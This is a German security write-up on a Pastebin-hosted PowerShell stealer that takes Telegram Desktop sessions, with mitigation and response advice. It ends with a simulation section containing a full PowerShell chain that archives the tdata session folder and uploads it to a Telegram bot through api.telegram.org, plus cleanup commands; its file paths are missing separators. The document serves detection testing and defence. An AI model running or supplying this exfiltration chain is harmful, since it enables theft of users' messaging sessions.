Einblick in einen Telegram-Session-Stealer: Wie ein auf Pastebin gehostetes PowerShell-Skript Desktop- und Web-Sitzungen angreift

Zusammenfassung

Ein bösartiges PowerShell-Skript, das auf Pastebin gehostet wird, gibt sich als Windows-Update aus und stiehlt Sitzungsdaten von Telegram Desktop von infizierten Systemen. Das Skript sammelt Hostdetails, komprimiert das Telegram tdata Verzeichnis und extrahiert das resultierende Archiv über die Telegram Bot API. Forscher identifizierten auch einen verwandten webbasierten Stealer, der entwickelt wurde, um Authentifizierungsschlüssel von Telegram Web abzufangen und diese an einen lokalen HTTP-Sammler weiterzuleiten. Beide Tools verlassen sich auf den gleichen Telegram-Bot für Benachrichtigungen, obwohl die verfügbaren Beweise darauf hindeuten, dass sie sich eher in einer Testphase als im großflächigen operationellen Einsatz befinden.

Untersuchung

Analysten fanden zwei auf Pastebin gehostete Skriptvarianten, entdeckten hartkodierte Bot-Tokens und Chat-IDs und rekonstruierten den vollständigen Exfiltrationsprozess. Während der Ausführung beendet das Skript Telegram.exe, archiviert den tdata Ordner und lädt die ZIP-Datei über die Methode sendDocument der API des Bots hoch. Bot-Telemetrie zeigte auch einen separaten webfokussierten Stealer, der MTProto-Authentifizierungsschlüssel an einen privaten Sammler bei 192.168.137.131:5000übermittelte. Insgesamt deuten die Erkenntnisse eher auf funktionale Tests und Validierung als auf eine ausgereifte, groß angelegte Kampagne hin.

Abmilderung

Organisationen, die Telegram nicht benötigen, sollten ausgehenden Datenverkehr zu api.telegram.org und verwandter Telegram-Infrastruktur blockieren. Verteidiger sollten PowerShell auf die Nutzung von Invoke-RestMethod or WebClient bezüglich der Telegram API-Endpunkte überwachen und ZIP-Archive erkennen, die in temporären Verzeichnissen erstellt werden und tdata Inhalte enthalten. Jegliche enthüllten Bot-Tokens sollten sofort widerrufen und ersetzt werden, um weiteren Missbrauch zu verhindern.

Reaktion

Falls das Skript entdeckt wird, beenden Sie den damit verbundenen PowerShell-Prozess und entfernen Sie alle erstellten diag.zip Archive. Widerrufen Sie alle aktiven Telegram-Sitzungen, die mit dem betroffenen Konto verknüpft sind, und aktivieren Sie die Zwei-Faktor-Authentifizierung, um das Risiko eines fortgesetzten Zugriffs zu reduzieren. Der Bot-Token sollte geändert werden, und der verlinkte Bot-Chat sollte auf Anzeichen von exfiltrierten Daten überprüft werden. Eine umfassendere forensische Untersuchung sollte auch bestätigen, ob zusätzliche Anmeldedaten oder Sitzungsmaterialien gesammelt wurden.

Simulation Ausführung

Voraussetzung: Der Telemetrie- & Baseline Pre-Flight-Check muss bestanden sein.

Begründung: In diesem Abschnitt wird die genaue Ausführung der gegnerischen Technik (TTP) beschrieben, die die Erkennungsregel auslösen soll. Die Befehle und Erzählungen MÜSSEN direkt die identifizierten TTPs widerspiegeln und zielen darauf ab, genau die Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.

• Angriffserzählung & Befehle:

  1. Aufklärung: Der Angreifer fragt api.ipify.org ab, um die öffentliche IP des Hosts zu entdecken (wird später für das Logging verwendet).
  2. Dienstunterbrechung: Stoppt den legitimen Telegram Desktop-Prozess, um sicherzustellen, dass Dateien nicht gesperrt sind.
  3. Datensammlung: Kopiert rekursiv das Telegram Desktop tdata Verzeichnis (Sitzungsdateien) an einen temporären Ort.
  4. Archivierung: Komprimiert die gesammelten Daten in diag.zip.
  5. Exfiltration: Sendet das Archiv an einen bösartigen Telegram Bot via Invoke-RestMethod.
  6. Aufräumen: Löscht das temporäre Archiv und startet Telegram optional neu.

• Regressionstest-Skript: Führt die gesamte Angriffskette in einer einzigen PowerShell-Befehlszeile aus (entsprechend der Erkennungsregel).

  # Windows Telemetry Update – Telegram Session Stealer
  $ip = (Invoke-RestMethod -Uri "http://api.ipify.org").Content;
  Stop-Process -Name Telegram -Force;
  $src = "$env:APPDATATelegram Desktoptdata";
  $dst = "$env:TEMPdiag";
  Copy-Item -Path $src -Destination $dst -Recurse -Force;
  Compress-Archive -Path $dst* -DestinationPath "$env:TEMPdiag.zip" -Force;
  $botToken = "123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11";
  $chatId = "987654321";
  Invoke-RestMethod -Uri "https://api.telegram.org/bot$botToken/sendDocument?chat_id=$chatId" -Method Post -InFile "$env:TEMPdiag.zip" -ContentType "multipart/form-data";
  Remove-Item -Path "$env:TEMPdiag.zip" -Force;

• Aufräumbefehle: Stellt die Umgebung in ihren ursprünglichen Zustand wieder her.

  # Start Telegram (wenn gewünscht) neu und entfernen Sie kopierte Daten
  Start-Process -FilePath "$env:ProgramFilesTelegram DesktopTelegram.exe" -WindowStyle Hidden;
  Remove-Item -Path "$env:TEMPdiag" -Recurse -Force;